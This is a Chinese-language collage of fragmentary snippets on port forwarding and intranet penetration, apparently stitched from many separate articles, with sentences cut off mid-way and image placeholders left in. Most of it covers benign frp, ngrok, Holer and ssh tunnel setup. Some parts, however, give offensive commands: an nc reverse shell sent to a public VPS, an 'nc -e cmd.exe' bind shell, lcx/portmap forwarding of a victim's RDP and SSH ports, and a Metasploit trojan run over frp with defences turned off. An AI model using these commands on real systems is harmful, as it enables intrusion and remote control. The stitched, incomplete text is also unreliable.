工具使用 反向连接 场景概述: A主机外网 无法访问B内网机器 B内网机器 可以访问A外网机器 A:103.45.99.224(公网vps) ? ? B: 10.211.55.4(内网机器) ? ? B:内网执行 Nc.exe 103.45.99.224 8787 ? ? 此时A主机公网vps就会收到B内网主机的cmd ? ? 正向连接 场景概述: A内网 可以访问 外网B B外网 不能访问 内网A 在外网B主机上执行nc -l -p 5555 -e cmd.exe ? ? 随后在内网A上执行nc –nvv 103.45.99.224 5555 ? ? 注:如果客户端【相当于内网】连接服务器【相当于外网】,想获取服务器的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想获取客户端的shell,那么称为反向shell,另外有关于nc在
在渗透测试过程中,我们经常会用到端口转发,利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。 在没有端口转发的情况下外网主机是不能直接连接内网主机的,但是lcx工具可以将内网主机(出入内网主机的需要能够ping通互联网)的某个端口抓发到外网的某个端口上面,这样的话处于外网的主机可以将映射到外网的端口再反弹到另一个外网的端口上面 故内网已经打通,说实话lcx的工具如同在路由器上面做了端口转发。 ? 127.0.0.1:1234; reDuh端口转发 reDuh也是一款内网渗透利器,这个工具可以把内网服务器的端口通过http/https隧道转发到本机,形成一个连通回路。 用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
工具介绍 Lcx是一个端口转发工具,有windows版和linux两个版本(linux版本名为protmap) 前期准备: 公网主机vps:103.45.99.224 受害机内网ip:127.0.0.1 工具使用 Windows 内网主机上执行:lcx.exe -slave <vps公网ip><vps公网端口><内网ip><内网端口> 例: 将内网主机(10.211.55.3)的3389端口转发到公网主机 公网主机上执行:lcx.exe -listen 9898 8989 将本机9898端口的流量转发到8989端口上 ? ? 公网vps尝试访问8989端口 ? ? Linux 内网主机上执行: . /portmap -m 3 -h1 <内网主机ip> -p1 <内网主机端口> -h2 <公网主机ip>-p2 <公网主机端口> 例: 将内网主机(172.17.0.13)的22端口转发到公网主机(103.45.99.224 )的9898端口 ?
工具介绍 Frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。 = admin #HTTP代理端口 vhost_http_port = 10080 #HTTPS代理端口 vhost_https_port = 10443 然后运行. 客户端 随后配置客户端编辑客户端配置文件 #服务器地址 server_addr = x.x.x.x #服务器绑定端口 server_port = 7000 #服务器连接密码 token = 12345678 #服务名称(自定义) [ssh] #转发协议类型 type = tcp #本地地址 local_ip = 127.0.0.1 #本地端口 local_port = 22 #远程端口 remote_port 此时frp隧道已经建立成功,可以通过访问vps的ip:7001就相当于访问了本地的22端口
点击上方“蓝字”关注我们 Frp实现端口转发内网穿透 准备工作 1.1 frp是什么 简单地说,frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务,它支持HTTP “local_port”是本地应用的端口号,按照实际应用工作在本机的端口号填写即可。 “remote_port”是该条规则在服务端开放的端口号,自己填写并记录即可。 四、Metasploit渗透windows测试 4.1环境 内网kali攻击机 公网vps 链接手机热点的win10电脑 4.2 msfvenom制作Windows木马程序 由于只是测试frp反向代理+ 内网穿透+ Metasploit渗透windows,所以这里不提及免杀并且关闭防护软件。 ,与frpc中的local_port一致 4.4Windows端运行木马 Windows端运行木马,kali端发现win10主机上线成功,控制win10 至此, 反向代理+内网穿透+ Metasploit
工具 Frp是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。 修改成服务端Ip server_addr = x.x.x.x server_port = 7000 [rdp] type = tcp local_ip = 127.0.0.1 # 修改成RDP协议的端口
端口映射:端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务。 当用户访问外网IP的这个端口时,服务器自动将请求映射到对应局域网内部的机器上。比如,我们在内网中有一台Web服务器,但是外网中的用户是没有办法直接访问该服务器的。 于是我们可以在路由器上设置一个端口映射,只要外网用户访问路由器ip的80端口,那么路由器会把自动把流量转到内网Web服务器的80端口上。 在这过程中,路由器充当了一个反向代理的作用,他保护了内网中主机的安全 端口转发:端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。 这就要我们的ip地址和路由器的端口进行绑定了,这时,在路由器中就会有一个内网ip和路由器端口对应的一张表。
############################################################# 通过nmap端口扫描获取开放的端口,以达到内网体检的目的 ########## 2、nmap对这个主机列表进行端口扫描 # 注意:刚开始没显式指定端口范围,发现例如27017这些端口都没扫描出来,后来就加了-p 1-65535参数,但是发现扫描特别慢,慎重考虑。 22/tcp open ssh Nmap scan report for node3 (192.168.2.13) 22/tcp open ssh 3、每天执行一次下面的这个脚本,获取最新的开放的端口 ,并比对旧的数据,发现端口异动就自动报警。 4、如果确定当前端口是正常流程修改的,可以更新端口列表模板 cp /tmp/list_$(date +%F) /tmp/list 基本上完成这几步骤,就差不多了,还有很多不完善的地方,等想到了在补充进来
使用frp作为内网穿透的时候,有时候,我们需要多个端口穿透,怎么配置呢? 思考: 我们知道frp要想内网穿透,需要配置服务端和客户端。如果需要直接访问80端口的话,需要还需要在nginx做配置。 #端口8079是博客管理后台的项目 [tcp_blog-admin] type = tcp local_port = 8079 listen_port = 8079 #端口8080是博客前台项目访问地址 $ { expires 1d; } } # 端口8079映射到80端口 server { listen 80; server_name blog-admin.mmmm.com $ { expires 1d; } } # 端口8082映射到80端口 server { listen 80; server_name app3.nnn.com 在Proxies菜单下,点击TCP,可以看到对应的端口。如下图所示:
FRP内网穿透应用场景:本地Web服务外网访问、本地开发微信、本地联调支付宝\微信支付、TCP/UDP端口转发 在本机开发好的网站想让客户测试不在需要上传到服务器上面,使用FRP内外网穿透轻松解决;微信开发也不需要在上传到服务器 ,使用免费FRP内网穿透服务器帮您解决80端口问题,实现微信服务器直接访问到您本机web服务。 使用frp作为内网穿透的时候,有时候,我们需要多个端口穿透,怎么配置呢? FRP内内网穿透应用场景 思考: 我们知道frp要想内网穿透,需要配置服务端和客户端。 如果需要直接访问80端口的话,需要还需要在nginx做配置。 在Proxies菜单下,点击TCP,可以看到对应的端口。如下图所示: frp管理界面查看启动的三个不同端口
项目介绍 Fuso是一款体积小,快速, 稳定, 高效, 轻量的内网穿透, 端口转发工具,支持多连接,级联代理,传输加密 项目特性 ✔ 项目使用 Step 1:下载解压得到 fus,fuc两个程序, 将fus 如下图,则表示客户端启动成功(备注:默认情况下,将转发到127.0.0.1:80, 访问端口将随机分配) Step 4:此时访问127.0.0.1:60974即可, 注意: 你的80端口必须有服务在运行 端口转发 fuc --forward-host xxx.xxx.xxx.xxx --forward-port --forward-host: 转发到的地址 --forward-port: 转发到的端口 如: 转发流量到内网 10.10.10.4:3389 > fuc --forward-host 10.10.10.4 --forward-port 3389 2. socks5: fuc 指定穿透成功时访问的端口 fuc -b xxxx -b | --visit-bind-port: 可选的, 默认随机分配 如: 访问外网端口 8888 转发到内网 80 > fuc
内网穿透的技术有很多,常用的方法有: ssh/autossh ngfork frp (本文将介绍该方法) github地址:https://github.com/fatedier/frp frp为传统的 C/S结构,可分为客户端和服务端,其中 frpc(客户端) 运行在内网环境 frps(服务端)运行在有公网IP的服务器 image.png 编写frpc.ini文件,例如: [common] server_addr = 公网IP server_port = frps运行的端口 token = 一串随机字符用来防止未经授权的使用 [appName] type = tcp local_ip = 127.0.0.1 local_port = 需要映射的本地端口 remote_port = 映射成公网服务器的端口 服务器端frps.ini就更简单了 [common] bind_port = 服务端运行的端口 )把本机的80端口映射成了38888端口,则链路如下 192.168.1.5:80 <-> 1.2.3.4:34567 <-> 1.2.3.4:38888 提高映射服务可靠性 请使用supervisor
内网穿透能干嘛: 穿透后,你的机器指定端口就直接暴露在外网上,3389,vnc,web服务等等任何服务都可以支持。微信开发需要回调web服务器接口,如果开发机器在内网,就无法调试。 原理 外网服务器A,内网服务器B,通过某种协议连接,将域名解析到A,A将所有用户请求数据转发到B的指定端口,B返回的数据通过A转给用户,等于在B和用户之间加了代理A 解决方案 内网穿透有现成的商业解决方案 今天我们讨论的是在自己的VPS上架设ngrok服务,访问内网的web服务,场景是这台vps上同时开了着web服务(nginx),所以不能直接将80端口作为ngrok的转发端口, ngrok配置成功后,需要在 nginx上作一次转发,才能使用80端口。 ,https 444端口,所有访问到外网服务器8888和444端口的数据都会经过ngrok处理转发。
公网和内网的地址映射关系 Holer Access Key Domain Name Internet Address Local Address HOLER_CLIENT-2F8D8B78B3C2A0AE 6060、600以及端口映射规则所涉及的端口; (6) 建议申请域名并且完成域名备案,如果没有域名可以直接使用IP和端口访问。 创建端口映射 2.3.1. 创建客户端和端口映射 在用户列表页面中创建一个Holer客户端 http://holer.your-domain.com/view/holer-client.html [Holer Client] 在端口映射页面中为该 ,严格按照详情信息里的使用说明进行操作,这样即可完成Holer客户端配置,从而实现基于自己Holer服务端的端口映射功能。
本文主要记录 ssh 隧道使用 来进行内网穿透。使用 sockv5, 其效果和 ss 一样;仅仅使用ssh,putty 就能做到。 -L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口.
内网穿透(NAT穿透):内网穿透是一种技术,允许从外部网络访问内部网络中的设备,即使这些设备位于路由器或防火墙后面。 内网穿透通过将外部请求路由到内部设备来实现,通常需要一种中间设备或服务,如穿透服务器或反向代理服务器。这允许在内部网络上托管服务器或服务,同时保护网络的安全性。 端口映射(Port Forwarding)端口映射是内网穿透的一种常见实现方式,它允许将外部网络上的请求路由到内部网络中的特定设备或端口。 通过在路由器或防火墙上配置端口映射规则,可以将外部请求的端口映射到内部设备的特定端口上。例如,将外部访问者的请求从公网IP的某个端口映射到内部服务器的端口,使服务器能够接受来自外部的请求。 内网穿透是一种技术,用于允许外部网络访问内部网络中的设备。端口映射是内网穿透的一种常见实现方式,它允许将外部请求路由到内部设备的特定端口。
slave成对使用) 2)端口映射(tran) 1、lcx 内网端口转发 1.内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口 例如: lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389 把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口 2.公网主机 上执行 Lcx.exe –listen 公网主机端口 /portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777 意思是监听来自6666端口的请求,将其转发到7777端口 再在内网主机上执行: . /portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666 意思就是将内网主机22端口的流量转发到公网主机的6666端口。 用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
那么想要使用本地环境进行调试的话,就需要使用外网域名解析到本地的ip、端口。ngrok实现的就是这样的功能。 ngrok生成一个公网访问的url,并映射到我们本机的端口上。 设置token后可即可进行端口开放。 ngrok.exe http 8443 ? 本地开放的http 8443端口。生成的外网域名包含http与https两种。 总结来说 其实做这个非常的简单,只需要把ngrok下载下来后导入一下authToken然后再选择要开启的端口即可。只是ngrok的下载比较麻烦。有需要的留言我发你一个网盘地址。
本地端口转发(-L) ssh -L 8080:localhost:3000 user@remote # 访问本地 8080 相当于访问 remote 的 3000 远端端口转发(-R) ssh -R 9000 替代:开通对应端口或走 -D 代理。 坑:绑定地址不当。替代:使用 0.0.0.0/127.0.0.1 合理暴露。 下一篇预告 容器安全基础:非 root 运行与只读文件系统。
机器 内网IP 公网IP 用户名 备注 A 192.168.0.2 123.123.123.123 roota 外网服务器,相当于桥梁的作用 B 192.168.0.3 无 rootb 目标服务器,处于内网 在此-p参数为指定登陆的端口,我们在上面指定了20022端口为转发端口,故用20022端口登陆, 然后rootb是内网B机器的用户名, 123.123.123.123为外网A机器的IP地址。 免密码登陆 在内网机器B上操作 ssh每次重连都需要键入密码,故在此首先设置免密码登陆到内网 生成公钥私钥 默认生成位置为当前用户目录下的.ssh/id_rsa.pub ssh-keygen 将key 那以后这台内网的B机器ssh登陆外网的A机器就可以免密码登陆啦~ 检验是否已经可以使用免密码登陆可以使用如下指令来检验: ssh roota@192.168.0.2 用autossh建立稳定隧道 在内网机器 另外不同的是我们需要指出的-M参数,这个参数指定一个端口,这个端口是外网的A机器用来接收内网B机器的信息,如果隧道不正常而返回给B机器让他实现重新连接。